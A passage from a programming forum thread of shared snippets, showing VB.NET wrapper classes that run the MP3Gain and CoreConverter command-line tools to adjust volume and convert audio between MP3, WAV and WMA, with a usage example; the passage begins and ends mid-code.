  245.  
  246.    ''' <summary>
  247.    ''' Apply a volume gain change to file only in left or right channel.
  248.    ''' Only works for Stereo MP3 files.
  249.    ''' </summary>
  250.    Public Sub Apply_Channel_Gain(ByVal MP3_File As String,
  251.                                  ByVal Channel As Channel,
  252.                                  ByVal Gain As Integer,
  253.                                  Optional ByVal Preserve_Datestamp As Boolean = True)
  254.  
  255.        File_Has_MP3Gain_Tag(MP3_File)
  256.  
  257.        Run_MP3Gain(MP3_File,
  258.                    Operation.Apply_Channel_Gain,
  259.                    String.Format("/c /e /r /l {2} {3} ""{0}""",
  260.                                  MP3_File,
  261.                                  If(Preserve_Datestamp, "/p", ""),
  262.                                  If(Channel = Channel.Left, 0, 1),
  263.                                  Gain),
  264.                    False)
  265.  
  266.    End Sub
  267.  
  268.    ''' <summary>
  269.    ''' Undos all mp3gain volume changes made in a file,
  270.    ''' based on stored APEv2 mp3gain tag info.
  271.    ''' </summary>
  272.    Public Sub Undo_Gain(ByVal MP3_File As String,
  273.                         Optional ByVal Preserve_Datestamp As Boolean = True)
  274.  
  275.        File_Has_MP3Gain_Tag(MP3_File)
  276.  
  277.        Run_MP3Gain(MP3_File,
  278.                    Operation.Undo_Gain,
  279.                    String.Format("/c /t {1} /u ""{0}""",
  280.                                  MP3_File,
  281.                                  If(Preserve_Datestamp, "/p", "")),
  282.                    False)
  283.  
  284.    End Sub
  285.  
  286. #End Region
  287.  
  288. #Region " Run Procedures "
  289.  
  290.    ''' <summary>
  291.    ''' Run MP3Gain process.
  292.    ''' </summary>
  293.    Private Sub Run_MP3Gain(ByVal MP3_File As String,
  294.                            ByVal operation As Operation,
  295.                            ByVal Parametters As String,
  296.                            ByVal IsCheckTagOperation As Boolean)
  297.  
  298.        If Me.CheckFileExist Then
  299.            FileExist(MP3_File)
  300.        End If
  301.  
  302.        With Process_For_Tag.StartInfo
  303.            .FileName = Me.mp3gain_location
  304.            .Arguments = Parametters
  305.        End With
  306.  
  307.        With Process_For_NonTag.StartInfo
  308.            .FileName = Me.mp3gain_location
  309.            .Arguments = Parametters
  310.        End With
  311.  
  312.        ' Reset Variables before relaize the operation.
  313.        InfoMessage = Nothing
  314.        ErrorMessage = Nothing
  315.        db = 0
  316.  
  317.        ' Check if file has APEv2 mp3gain tag or not,
  318.        ' before doing any other operation.
  319.        If IsCheckTagOperation Then
  320.  
  321.            Run_MP3Gain_For_Tag(Process_For_Tag, MP3_File, operation.Check_Tag, True)
  322.            Exit Sub ' If only would to check the tag then exit from this sub.
  323.  
  324.        Else ' Else, continue with the operation (Modify volume gain)...
  325.  
  326.            Select Case HasTag
  327.  
  328.                Case True
  329.                    Run_MP3Gain_For_Tag(Process_For_Tag, MP3_File, operation, False)
  330.  
  331.                Case False
  332.                    Run_MP3Gain_For_NonTag(Process_For_NonTag, MP3_File, operation)
  333.  
  334.            End Select ' HasTag
  335.  
  336.        End If ' IsCheckTagOperation
  337.  
  338.    End Sub
  339.  
  340.    ''' <summary>
  341.    ''' Runs mp3gain for files that already contains APEv2 mp3gain tag.
  342.    ''' </summary>
  343.    Private Sub Run_MP3Gain_For_Tag(ByVal p As Process,
  344.                                    ByVal MP3_File As String,
  345.                                    ByVal operation As Operation,
  346.                                    ByVal IsTagCheckOperation As Boolean)
  347.  
  348.        p.Start()
  349.        RaiseEvent_Started(p, MP3_File, operation)
  350.        p.WaitForExit()
  351.  
  352.        If IsTagCheckOperation Then
  353.            HasTag = CBool(p.StandardOutput.ReadToEnd.Trim.Split(Environment.NewLine).Count - 1)
  354.        End If
  355.  
  356.        ProgressArgs.Percent = 100
  357.        RaiseEvent Progress(p, ProgressArgs)
  358.  
  359.        SetMessages(p.StandardOutput.ReadToEnd())
  360.  
  361.        RaiseEvent_Exited(p,
  362.                          MP3_File,
  363.                          operation,
  364.                          If(IsTagCheckOperation, "File Has Tag?: " & CStr(HasTag), InfoMessage),
  365.                          ErrorMessage,
  366.                          db)
  367.  
  368.        ' p.Close()
  369.  
  370.    End Sub
  371.  
  372.    ''' <summary>
  373.    ''' Runs mp3gain for files that doesn't contains APEv2 mp3gain tag.
  374.    ''' </summary>
  375.    Private Sub Run_MP3Gain_For_NonTag(ByVal p As Process,
  376.                                       ByVal MP3_File As String,
  377.                                       ByVal operation As Operation)
  378.  
  379.        p.Start()
  380.        RaiseEvent_Started(p, MP3_File, operation)
  381.  
  382.        Do Until p.HasExited
  383.  
  384.            Try
  385.  
  386.                ProgressArgs.Percent = CInt(p.StandardError.ReadLine.Split("%").First.Trim)
  387.  
  388.                If ProgressArgs.Percent < 101 Then
  389.                    RaiseEvent Progress(p, ProgressArgs)
  390.                End If
  391.  
  392.            Catch
  393.            End Try
  394.  
  395.        Loop
  396.  
  397.        ProgressArgs.Percent = 100
  398.        RaiseEvent Progress(p, ProgressArgs)
  399.  
  400.        SetMessages(p.StandardOutput.ReadToEnd())
  401.  
  402.        RaiseEvent_Exited(p,
  403.                          MP3_File,
  404.                          operation,
  405.                          InfoMessage,
  406.                          ErrorMessage,
  407.                          db)
  408.  
  409.        ' p.Close()
  410.  
  411.    End Sub
  412.  
  413. #End Region
  414.  
  415. #Region " Miscellaneous Procedures "
  416.  
  417.    ''' <summary>
  418.    ''' Checks if a file exists.
  419.    ''' </summary>
  420.    Private Sub FileExist(ByVal File As String)
  421.  
  422.        If Not IO.File.Exists(File) Then
  423.            Throw New Exception(String.Format("File doesn't exist: ""{0}""", File))
  424.            ' MessageBox.Show(String.Format("File doesn't exist: ""{0}""", File), "mp3gain", MessageBoxButtons.OK, MessageBoxIcon.Error)
  425.        End If
  426.  
  427.    End Sub
  428.  
  429.    ''' <summary>
  430.    ''' Raises the Event Started
  431.    ''' </summary>
  432.    Private Sub RaiseEvent_Started(ByVal p As Process,
  433.                                   ByVal file As String,
  434.                                   ByVal operation As Operation)
  435.  
  436.        With StartedArgs
  437.            .File = file
  438.            .Operation = operation
  439.        End With
  440.  
  441.        RaiseEvent Started(p, StartedArgs)
  442.  
  443.    End Sub
  444.  
  445.    ''' <summary>
  446.    ''' Raises the Event Exited
  447.    ''' </summary>
  448.    Private Sub RaiseEvent_Exited(ByVal p As Process,
  449.                                  ByVal file As String,
  450.                                  ByVal operation As Operation,
  451.                                  ByVal InfoMessage As String,
  452.                                  ByVal ErrorMessage As String,
  453.                                  ByVal db As Integer)
  454.  
  455.        With ExitedArgs
  456.            .File = file
  457.            .Operation = operation
  458.            .InfoMessage = InfoMessage
  459.            .ErrorMessage = ErrorMessage
  460.            .db = db
  461.        End With
  462.  
  463.        RaiseEvent Exited(p, ExitedArgs)
  464.  
  465.    End Sub
  466.  
  467.    ''' <summary>
  468.    ''' Sets the InfoMessage, ErrorMessage and db variables.
  469.    ''' </summary>
  470.    Private Sub SetMessages(ByVal StandardOutput As String)
  471.  
  472.        Output = StandardOutput.
  473.                 Split(Environment.NewLine).
  474.                 Select(Function(line) line.Replace(Environment.NewLine, "").Trim).
  475.                 Where(Function(null) Not String.IsNullOrEmpty(null)).ToArray
  476.  
  477.        For Each line In Output
  478.  
  479.            Select Case True
  480.  
  481.                Case line.StartsWith("No changes")
  482.                    InfoMessage = "No volume gain changes are necessary."
  483.  
  484.                Case line.StartsWith("Applying")
  485.                    db = db_RegEx.Match(line).Groups(1).Value
  486.                    If String.IsNullOrEmpty(InfoMessage) Then
  487.                        InfoMessage = line
  488.                    End If
  489.  
  490.                Case line.StartsWith("Can't")
  491.                    ErrorMessage = line
  492.  
  493.            End Select
  494.  
  495.        Next line
  496.  
  497.    End Sub
  498.  
  499. #End Region
  500.  
  501. #Region " IDisposable "
  502.  
  503.      ''' <summary>
  504.      ''' Disposes the objects generated by this instance.
  505.      ''' </summary>
  506.      Public Sub Dispose() Implements IDisposable.Dispose
  507.          Dispose(True)
  508.          GC.SuppressFinalize(Me)
  509.      End Sub
  510.  
  511.      Protected Overridable Sub Dispose(IsDisposing As Boolean)
  512.  
  513.          Static IsBusy As Boolean ' To detect redundant calls.
  514.  
  515.          If Not IsBusy AndAlso IsDisposing Then
  516.  
  517.             Process_For_Tag.Dispose()
  518.         Process_For_NonTag.Dispose()
  519.  
  520.          End If
  521.  
  522.          IsBusy = True
  523.  
  524.      End Sub
  525.  
  526.  #End Region
  527.  
  528. End Class
  529.  
  530. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 11 Noviembre 2013, 01:36 am
Una versión mejorada de mi ayudante para la aplicación CoreConverter... mejoré lo que pude el código y le añadi algunos eventos esenciales...

Un ejemplo de uso:

Código
  1.    Public Class Form1
  2.  
  3.        Private WithEvents _converter As New CoreConverter _
  4.                With {.CoreConverter_location = "C:\windows\system32\coreconverter.exe",
  5.                      .CheckFileExist = True}
  6.  
  7.        Private Sub Test() Handles MyBase.Shown
  8.  
  9.            ' Checks if CoreConverter executable is avaliable.
  10.            MsgBox(_converter.Is_Avaliable())
  11.  
  12.            ' Convert a file to MP3
  13.            _converter.Convert_To_MP3("C:\Input.wav", "C:\Output.mp3",
  14.                                      CoreConverter.Lame_Bitrate.kbps_320,
  15.                                      CoreConverter.Lame_Bitrate_Mode.cbr,
  16.                                      CoreConverter.Lame_Profile.SLOW,
  17.                                      CoreConverter.Lame_Quality.Q0_Maximum,
  18.                                      CoreConverter.Lame_Khz.Same_As_Source,
  19.                                      CoreConverter.Lame_Channels.auto,
  20.                                      {
  21.                                       CoreConverter.DSP_Effects.Delete_Output_File_on_Error,
  22.                                       CoreConverter.DSP_Effects.Recycle_Source_File_After_Conversion
  23.                                      },
  24.                                      False,
  25.                                      CoreConverter.Priority.normal)
  26.  
  27.            ' Convert a file to WAV
  28.            _converter.Convert_To_WAV_Uncompressed("C:\Input.mp3", "C:\Output.wav", _
  29.                                                   CoreConverter.WAV_Uncompressed_Bitrate.Same_As_Source, _
  30.                                                   CoreConverter.WAV_Uncompressed_Khz.Same_As_Source, _
  31.                                                   CoreConverter.WAV_Uncompressed_Channels.Same_As_Source, , False)
  32.  
  33.            ' Convert a file to WMA
  34.            _converter.Convert_To_WMA("C:\Input.mp3", "C:\Output.wma", _
  35.                                      CoreConverter.WMA_9_2_BitRates.Kbps_128, _
  36.                                      CoreConverter.WMA_9_2_Khz.Khz_44100, _
  37.                                      CoreConverter.WMA_9_2_Channels.stereo, , False)
  38.  
  39.        End Sub
  40.  
  41.        ' CoreConverter [Started]
  42.        Private Sub CoreConverter_Started(ByVal sender As Process, ByVal e As CoreConverter.StartedEventArgs) _
  43.        Handles _converter.Started
  44.  
  45.            ProgressBar1.Value = ProgressBar1.Minimum
  46.  
  47.            Dim sb As New System.Text.StringBuilder
  48.  
  49.            sb.AppendLine(String.Format("Started an ""{0}"" operation", e.Operation.ToString))
  50.            sb.AppendLine(String.Format("Input file is: ""{0}""", e.File))
  51.            sb.AppendLine(String.Format("CoreConverter process PID is: ""{0}""", CStr(sender.Id)))
  52.  
  53.            MessageBox.Show(sb.ToString, "CoreConverter", MessageBoxButtons.OK, MessageBoxIcon.Information)
  54.  
  55.        End Sub
  56.  
  57.        ' CoreConverter [Exited]
  58.        Private Sub CoreConverter_Exited(ByVal sender As Process, ByVal e As CoreConverter.ExitedEventArgs) _
  59.        Handles _converter.Exited
  60.  
  61.            Dim sb As New System.Text.StringBuilder
  62.  
  63.            sb.AppendLine(String.Format("Finished an ""{0}"" operation", e.Operation.ToString))
  64.            sb.AppendLine(String.Format("Input file is: ""{0}""", e.File))
  65.            sb.AppendLine(String.Format("CoreConverter process PID is: {0}", CStr(sender.Id)))
  66.  
  67.            If Not String.IsNullOrEmpty(e.InfoMessage) Then
  68.                sb.AppendLine(String.Format("Operation Information: {0}", e.InfoMessage))
  69.            End If
  70.  
  71.            If Not String.IsNullOrEmpty(e.ErrorMessage) Then
  72.                sb.AppendLine(String.Format("Error Information: {0}", e.ErrorMessage))
  73.            End If
  74.  
  75.            If Not String.IsNullOrEmpty(e.ElapsedTime) Then
  76.                sb.AppendLine(String.Format("Total elapsed time: {0}", e.ElapsedTime))
  77.            End If
  78.  
  79.            MessageBox.Show(sb.ToString, "CoreConverter", MessageBoxButtons.OK, MessageBoxIcon.Information)
  80.  
  81.        End Sub
  82.  
  83.        ' CoreConverter [Progress]
  84.        Sub CoreConverter_Progress(sender As Process, e As CoreConverter.ProgressEventArgs) _
  85.        Handles _converter.Progress
  86.  
  87.            ProgressBar1.Value = e.Percent
  88.  
  89.        End Sub
  90.  
  91.    End Class


El ayudante:

Código:
' [ CoreConverter Helper ]
'
' // By Elektro H@cker
'
' Instructions:

' 1. Add the "CoreConverter.exe" into the project,
'    together with dbPoweramp Effects and Codec folders.

Código
  1. #Region " CoreConverter Helper "
  2.  
  3. Public Class CoreConverter : Implements IDisposable
  4.  
  5. #Region " Variables, Properties, Enumerations "
  6.  
  7.    ''' <summary>
  8.    ''' Gets or sets CoreConverter.exe executable path.
  9.    ''' </summary>
  10.    Public Property CoreConverter_location As String = ".\CoreConverter.exe"
  11.  
  12.    ''' <summary>
  13.    ''' Indicates if should check that the file exist before realize an operation.
  14.    ''' If True, an exception would be launched if file does not exist.
  15.    ''' </summary>
  16.    Public Property CheckFileExist As Boolean = False
  17.  
  18.    ''' <summary>
  19.    ''' Stores the converter process progress
  20.    ''' </summary>
  21.    Private CurrentProgress As Integer = 0
  22.  
  23.    ''' <summary>
  24.    ''' Stores an information message of the realized operation (if any).
  25.    ''' </summary>
  26.    Private InfoMessage As String = Nothing
  27.  
  28.    ''' <summary>
  29.    ''' Stores an error message of the realized operation (if any).
  30.    ''' </summary>
  31.    Private ErrorMessage As String = Nothing
  32.  
  33.    ''' <summary>
  34.    ''' Stores the next converter process output character.
  35.    ''' </summary>
  36.    Private OutputCharacter As Char = Nothing
  37.  
  38.    ''' <summary>
  39.    ''' Stores the DSP Effects formatted string.
  40.    ''' </summary>
  41.    Private Effects As String = Nothing
  42.  
  43.    ''' <summary>
  44.    ''' Stores the total elapsed time of conversion.
  45.    ''' </summary>
  46.    Private ElapsedTime As String = Nothing
  47.  
  48.    ''' <summary>
  49.    ''' Stores additional information about the conversion.
  50.    ''' </summary>
  51.    Private ExtraInfo() As String = Nothing
  52.  
  53.    ''' <summary>
  54.    ''' Stores the StartedEventArgs Arguments.
  55.    ''' </summary>
  56.    Private StartedArgs As New StartedEventArgs
  57.  
  58.    ''' <summary>
  59.    ''' Stores the ExitedEventArgs Arguments.
  60.    ''' </summary>
  61.    Private ExitedArgs As New ExitedEventArgs
  62.  
  63.    ''' <summary>
  64.    ''' Stores the ProgressEventArgs Arguments.
  65.    ''' </summary>
  66.    Private ProgressArgs As New ProgressEventArgs
  67.  
  68.    ''' <summary>
  69.    ''' CoreConverter Type Of Operation.
  70.    ''' </summary>
  71.    Public Enum Operation
  72.        MP3_Conversion = 0
  73.        WAV_Conversion = 1
  74.        WMA_Conversion = 2
  75.    End Enum
  76.  
  77.    ''' <summary>
  78.    ''' Priority level of CoreConverter process.
  79.    ''' </summary>
  80.    Public Enum Priority
  81.        idle
  82.        low
  83.        normal
  84.        high
  85.    End Enum
  86.  
  87.    ''' <summary>
  88.    ''' DSP Effects.
  89.    ''' </summary>
  90.    Public Enum DSP_Effects
  91.        Delete_Output_File_on_Error ' Delete failed conversion (not deletes source file).
  92.        Delete_Source_File_After_Conversion ' Delete source file after conversion.
  93.        Recycle_Source_File_After_Conversion ' Send source file to recycle bin after conversion.
  94.        Karaoke_Remove_Voice ' Remove voice from file.
  95.        Karaoke_Remove_Instrument ' Remove instruments from file.
  96.        Reverse ' Reverse complete audio file.
  97.        Write_Silence ' Write silence at start of file.
  98.    End Enum
  99.  
  100.    ''' <summary>
  101.    ''' CoreConverter Process.
  102.    ''' </summary>
  103.    Private p As Process =
  104.        New Process With {.StartInfo =
  105.            New ProcessStartInfo With {
  106.                .CreateNoWindow = True, _
  107.                .UseShellExecute = False, _
  108.                .RedirectStandardError = True, _
  109.                .RedirectStandardOutput = True, _
  110.                .StandardErrorEncoding = System.Text.Encoding.Unicode, _
  111.                .StandardOutputEncoding = System.Text.Encoding.Unicode
  112.           }
  113.        }
  114.  
  115. #End Region
  116.  
  117. #Region " Events "
  118.  
  119.    ''' <summary>
  120.    ''' Event raised when CoreConverter operation progress changes.
  121.    ''' </summary>
  122.    Public Event Progress As EventHandler(Of ProgressEventArgs)
  123.    Public Class ProgressEventArgs : Inherits EventArgs
  124.        ''' <summary>
  125.        ''' Gets the CoreConverter operation percent done.
  126.        ''' </summary>
  127.        Public Property Percent As Integer
  128.    End Class
  129.  
  130.    ''' <summary>
  131.    ''' Event raised when CoreConverter process has started.
  132.    ''' </summary>
  133.    Public Event Started As EventHandler(Of StartedEventArgs)
  134.    Public Class StartedEventArgs : Inherits EventArgs
  135.        ''' <summary>
  136.        ''' Gets the file that was passed as argument to the process.
  137.        ''' </summary>
  138.        Public Property File As String
  139.        ''' <summary>
  140.        ''' Gets the type of operation to realize.
  141.        ''' </summary>
  142.        Public Property Operation As Operation
  143.    End Class
  144.  
  145.    ''' <summary>
  146.    ''' Event raised when CoreConverter process has exited.
  147.    ''' </summary>
  148.    Public Event Exited As EventHandler(Of ExitedEventArgs)
  149.    Public Class ExitedEventArgs : Inherits EventArgs
  150.        ''' <summary>
  151.        ''' Gets the file that was passed as argument to the process.
  152.        ''' </summary>
  153.        Public Property File As String
  154.        ''' <summary>
  155.        ''' Gets the type of operation to realize.
  156.        ''' </summary>
  157.        Public Property Operation As Operation
  158.        ''' <summary>
  159.        ''' Gets an information message of the realized operation.
  160.        ''' </summary>
  161.        Public Property InfoMessage As String
  162.        ''' <summary>
  163.        ''' Gets an error message of the realized operation (if any).
  164.        ''' </summary>
  165.        Public Property ErrorMessage As String
  166.        ''' <summary>
  167.        ''' Gets the total elapsed time of the operation.
  168.        ''' </summary>
  169.        Public Property ElapsedTime As String
  170.    End Class
  171.  
  172. #End Region
  173.  
  174. #Region " Codec Enumerations "
  175.  
  176. #Region " MP3 Lame "
  177.  
  178.    Public Enum Lame_Bitrate
  179.        kbps_8 = 8
  180.        kbps_16 = 16
  181.        kbps_24 = 24
  182.        kbps_32 = 32
  183.        kbps_40 = 40
  184.        kbps_48 = 48
  185.        kbps_56 = 56
  186.        kbps_64 = 64
  187.        kbps_80 = 80
  188.        kbps_96 = 96
  189.        kbps_112 = 112
  190.        kbps_128 = 128
  191.        kbps_144 = 144
  192.        kbps_160 = 160
  193.        kbps_192 = 192
  194.        kbps_224 = 224
  195.        kbps_256 = 256
  196.        kbps_320 = 320
  197.    End Enum
  198.  
  199.    Public Enum Lame_Bitrate_Mode
  200.        cbr
  201.        abr
  202.    End Enum
  203.  
  204.    Public Enum Lame_Profile
  205.        NORMAL
  206.        FAST
  207.        SLOW
  208.    End Enum
  209.  
  210.    Public Enum Lame_Quality
  211.        Q0_Maximum = 0
  212.        Q1 = 1
  213.        Q2 = 2
  214.        Q3 = 3
  215.        Q4 = 4
  216.        Q5 = 5
  217.        Q6 = 6
  218.        Q7 = 7
  219.        Q8 = 8
  220.        Q9_Minimum = 9
  221.    End Enum
  222.  
  223.    Public Enum Lame_Khz
  224.        Same_As_Source
  225.        khz_8000 = 8000
  226.        khz_11025 = 11025
  227.        khz_12000 = 12000
  228.        khz_16000 = 16000
  229.        khz_22050 = 22050
  230.        khz_24000 = 24000
  231.        khz_32000 = 32000
  232.        khz_44100 = 44100
  233.        khz_48000 = 48000
  234.    End Enum
  235.  
  236.    Public Enum Lame_Channels
  237.        auto
  238.        mono
  239.        stereo
  240.        joint_stereo
  241.        forced_joint_stereo
  242.        forced_stereo
  243.        dual_channels
  244.    End Enum
  245.  
  246. #End Region
  247.  
  248. #Region " WAV Uncompressed "
  249.  
  250.    Public Enum WAV_Uncompressed_Bitrate
  251.        Same_As_Source
  252.        bits_8 = 8
  253.        bits_16 = 16
  254.        bits_24 = 24
  255.        bits_32 = 32
  256.    End Enum
  257.  
  258.    Public Enum WAV_Uncompressed_Khz
  259.        Same_As_Source
  260.        khz_8000 = 8000
  261.        khz_11025 = 11025
  262.        khz_12000 = 12000
  263.        khz_16000 = 16000
  264.        khz_22050 = 22050
  265.        khz_24000 = 24000
  266.        khz_32000 = 32000
  267.        khz_44100 = 44100
  268.        khz_48000 = 48000
  269.        khz_96000 = 96000
  270.        khz_192000 = 192000
  271.    End Enum
  272.  
  273.    Public Enum WAV_Uncompressed_Channels
  274.        Same_As_Source
  275.        Channels_1_Mono = 1
  276.        Channels_2_Stereo = 2
  277.        Channels_3 = 3
  278.        Channels_4_Quadraphonic = 4
  279.        Channels_5_Surround = 5
  280.        Channels_6_Surround_DVD = 6
  281.        Channels_7 = 7
  282.        Channels_8_Theater = 8
  283.    End Enum
  284.  
  285. #End Region
  286.  
  287. #Region " WMA 9.2 "
  288.  
  289.    Public Enum WMA_9_2_BitRates
  290.        Kbps_12 = 12
  291.        Kbps_16 = 16
  292.        Kbps_20 = 20
  293.        Kbps_22 = 22
  294.        Kbps_24 = 24
  295.        Kbps_32 = 32
  296.        Kbps_40 = 40
  297.        Kbps_48 = 48
  298.        Kbps_64 = 64
  299.        Kbps_80 = 80
  300.        Kbps_96 = 96
  301.        Kbps_128 = 128
  302.        Kbps_160 = 160
  303.        Kbps_192 = 192
  304.        Kbps_256 = 256
  305.        Kbps_320 = 320
  306.    End Enum
  307.  
  308.    Enum WMA_9_2_Khz
  309.        Khz_8000 = 8
  310.        Khz_16000 = 16
  311.        Khz_22050 = 22
  312.        Khz_32000 = 32
  313.        Khz_44100 = 44
  314.        Khz_48000 = 48
  315.    End Enum
  316.  
  317.    Enum WMA_9_2_Channels
  318.        mono
  319.        stereo
  320.    End Enum
  321.  
  322. #End Region
  323.  
  324. #End Region
  325.  
  326. #Region " CoreConverter Procedures "
  327.  
  328.    ''' <summary>
  329.    ''' Checks if CoreConverter process is avaliable.
  330.    ''' </summary>
  331.    Public Function Is_Avaliable() As Boolean
  332.        Return IO.File.Exists(Me.CoreConverter_location)
  333.    End Function
  334.  
  335.    ''' <summary>
  336.    ''' Converts a file to MP3 using Lame codec.
  337.    ''' </summary>
  338.    Public Sub Convert_To_MP3(ByVal In_File As String, _
  339.                              ByVal Out_File As String, _
  340.                              ByVal Bitrate As Lame_Bitrate, _
  341.                              ByVal Bitrate_Mode As Lame_Bitrate_Mode, _
  342.                              ByVal Encoding_Profile As Lame_Profile, _
  343.                              ByVal Quality As Lame_Quality, _
  344.                              ByVal Khz As Lame_Khz, _
  345.                              ByVal Channels As Lame_Channels, _
  346.                              Optional ByVal DSP_Effects() As DSP_Effects = Nothing, _
  347.                              Optional ByVal Update_Tag As Boolean = True, _
  348.                              Optional ByVal Priority As Priority = Priority.normal, _
  349.                              Optional ByVal Processor As Short = 1)
  350.  
  351.        Get_Effects(DSP_Effects)
  352.  
  353.        Set_Main_Arguments("mp3 (Lame)",
  354.                           In_File,
  355.                           Out_File,
  356.                           If(Not Update_Tag, "-noidtag", ""),
  357.                           Effects,
  358.                           Priority.ToString,
  359.                           Processor.ToString)
  360.  
  361.        p.StartInfo.Arguments &= _
  362.        String.Format("-b {0} --{1} -encoding=""{2}"" -freq=""{3}"" -channels=""{4}"" --noreplaygain --extracli=""-q {5}""", _
  363.                      CInt(Bitrate), _
  364.                      Bitrate_Mode.ToString, _
  365.                      Encoding_Profile.ToString, _
  366.                      If(Khz = Lame_Khz.Same_As_Source, "", CInt(Khz)), _
  367.                      If(Channels = Lame_Channels.auto, "", Channels), _
  368.                      CInt(Quality))
  369.  
  370.        Run_CoreConverter(In_File, Operation.MP3_Conversion)
  371.  
  372.    End Sub
  373.  
  374.    ''' <summary>
  375.    ''' Converts a file to Uncompressed WAV.
  376.    ''' </summary>
  377.    Public Sub Convert_To_WAV_Uncompressed(ByVal In_File As String, _
  378.                                           ByVal Out_File As String, _
  379.                                           ByVal Bitrate As WAV_Uncompressed_Bitrate, _
  380.                                           ByVal Khz As WAV_Uncompressed_Khz, _
  381.                                           ByVal Channels As WAV_Uncompressed_Channels, _
  382.                                           Optional ByVal DSP_Effects() As DSP_Effects = Nothing, _
  383.                                           Optional ByVal Update_Tag As Boolean = True, _
  384.                                           Optional ByVal Priority As Priority = Priority.normal, _
  385.                                           Optional ByVal Processor As Short = 1)
  386.  
  387.        Get_Effects(DSP_Effects)
  388.  
  389.        Set_Main_Arguments("Wave",
  390.                           In_File,
  391.                           Out_File,
  392.                           If(Not Update_Tag, "-noidtag", ""),
  393.                           Effects,
  394.                           Priority.ToString,
  395.                           Processor.ToString)
  396.  
  397.        p.StartInfo.Arguments &= _
  398.        String.Format("-compression=""PCM"" -bits=""{0}"" -freq=""{1}"" -channels=""{2}""", _
  399.                      If(Bitrate = WAV_Uncompressed_Bitrate.Same_As_Source, "", CInt(Bitrate)), _
  400.                      If(Khz = WAV_Uncompressed_Khz.Same_As_Source, "", CInt(Khz)), _
  401.                      If(Channels = WAV_Uncompressed_Channels.Same_As_Source, "", CInt(Channels)))
  402.  
  403.        Run_CoreConverter(In_File, Operation.WAV_Conversion)
  404.  
  405.    End Sub
  406.  
  407.    ''' <summary>
  408.    ''' Converts a file to WMA v9.2
  409.    ''' </summary>
  410.    Public Sub Convert_To_WMA(ByVal In_File As String, _
  411.                              ByVal Out_File As String, _
  412.                              ByVal Bitrate As WMA_9_2_BitRates, _
  413.                              ByVal Khz As WMA_9_2_Khz, _
  414.                              ByVal Channels As WMA_9_2_Channels, _
  415.                              Optional ByVal DSP_Effects() As DSP_Effects = Nothing, _
  416.                              Optional ByVal Update_Tag As Boolean = True, _
  417.                              Optional ByVal Priority As Priority = Priority.normal, _
  418.                              Optional ByVal Processor As Short = 1)
  419.  
  420.        Get_Effects(DSP_Effects)
  421.  
  422.        Set_Main_Arguments("Windows Media Audio 10",
  423.                           In_File,
  424.                           Out_File,
  425.                           If(Not Update_Tag, "-noidtag", ""),
  426.                           Effects,
  427.                           Priority.ToString,
  428.                           Processor.ToString)
  429.  
  430.        p.StartInfo.Arguments &= _
  431.        String.Format("-codec=""Windows Media Audio 9.2"" -settings=""{0} kbps, {1} kHz, {2} CBR""",
  432.                      CInt(Bitrate), _
  433.                      CInt(Khz), _
  434.                      Channels.ToString)
  435.  
  436.        Run_CoreConverter(In_File, Operation.WMA_Conversion)
  437.  
  438.    End Sub
  439.  
  440. #End Region
  441.  
  442. #Region " Run Procedure "
  443.  
  444.    ''' <summary>
  445.    ''' Runs a specific operation of CoreConverter.
  446.    ''' </summary>
  447.    Private Sub Run_CoreConverter(ByVal file As String,
  448.                                  ByVal operation As Operation)
  449.  
  450.        If Me.CheckFileExist Then
  451.            FileExist(file)
  452.        End If
  453.  
  454.        CurrentProgress = 0
  455.  
  456.        p.StartInfo.FileName = Me.CoreConverter_location
  457.        p.Start()
  458.  
  459.        With StartedArgs
  460.            .File = file
  461.            .Operation = operation
  462.        End With
  463.  
  464.        RaiseEvent Started(p, StartedArgs)
  465.  
  466.        While Not p.HasExited
  467.  
  468.            OutputCharacter = ChrW(p.StandardOutput.Read)
  469.  
  470.            If OutputCharacter = "*" Then
  471.                ProgressArgs.Percent = CInt((Threading.Interlocked.Increment(CurrentProgress) / 59) * 100)
  472.                RaiseEvent Progress(p, ProgressArgs)
  473.            End If
  474.  
  475.            If CurrentProgress = 59 Then
  476.                ' I store the last line(s) because it has interesting information:
  477.                ' Example Output: "Conversion completed in 30 seconds x44 realtime encoding"
  478.                InfoMessage = p.StandardOutput.ReadToEnd.Trim
  479.            End If
  480.  
  481.        End While
  482.  
  483.        ' Stores the Error Message (If any)
  484.        ErrorMessage = p.StandardError.ReadToEnd.Trim
  485.  
  486.        If Not String.IsNullOrEmpty(InfoMessage) Then
  487.  
  488.            ' Stores additional information
  489.            ExtraInfo = InfoMessage.Split(Environment.NewLine)
  490.  
  491.            Select Case ExtraInfo.Length
  492.  
  493.                Case 1
  494.                    ElapsedTime = ExtraInfo.Last.Split()(3) & " " & ExtraInfo.Last.Split()(4) ' Example: "50,2 seconds"
  495.  
  496.                Case 2
  497.                    ElapsedTime = ExtraInfo.Last.Split()(4) & " " & ExtraInfo.Last.Split()(5) ' Example: "50,2 seconds"
  498.  
  499.                Case Is < 1, Is > 2
  500.                    Throw New Exception("Unmanaged Process Output Length")
  501.  
  502.            End Select
  503.  
  504.        End If
  505.  
  506.        With ExitedArgs
  507.            .File = file
  508.            .Operation = operation
  509.            .InfoMessage = InfoMessage
  510.            .ErrorMessage = ErrorMessage
  511.            .ElapsedTime = ElapsedTime
  512.        End With
  513.  
  514.        RaiseEvent Exited(p, ExitedArgs)
  515.  
  516.        ' CoreConverter.Close()
  517.  
  518.    End Sub
  519.  
  520. #End Region
  521.  
  522. #Region " Miscellaneous procedures "
  523.  
  524.    ''' <summary>
  525.    ''' Checks if a file exists.
  526.    ''' </summary>
  527.    Private Sub FileExist(ByVal File As String)
  528.  
  529.        If Not IO.File.Exists(File) Then
  530.            ' Throw New Exception("File doesn't exist: " & File)
  531.            MessageBox.Show("File doesn't exist: " & File, "CoreConverter", MessageBoxButtons.OK, MessageBoxIcon.Error)
  532.        End If
  533.  
  534.    End Sub
  535.  
  536.    ''' <summary>
  537.    ''' Sets the static arguments of CoreConverter process.
  538.    ''' </summary>
  539.    Private Sub Set_Main_Arguments(ByVal Codec_Name As String, _
  540.                                   ByVal In_File As String, _
  541.                                   ByVal Out_File As String, _
  542.                                   ByVal Update_Tag As String, _
  543.                                   ByVal Effects As String, _
  544.                                   ByVal Priority As String, _
  545.                                   ByVal Processor As String)
  546.  
  547.        p.StartInfo.Arguments = _
  548.        String.Format("-infile=""{0}"" -outfile=""{1}"" -convert_to=""{2}"" {3} {4} -priority=""{5}"" -processor=""{6}"" ",
  549.                      In_File,
  550.                      Out_File,
  551.                      Codec_Name,
  552.                      Update_Tag,
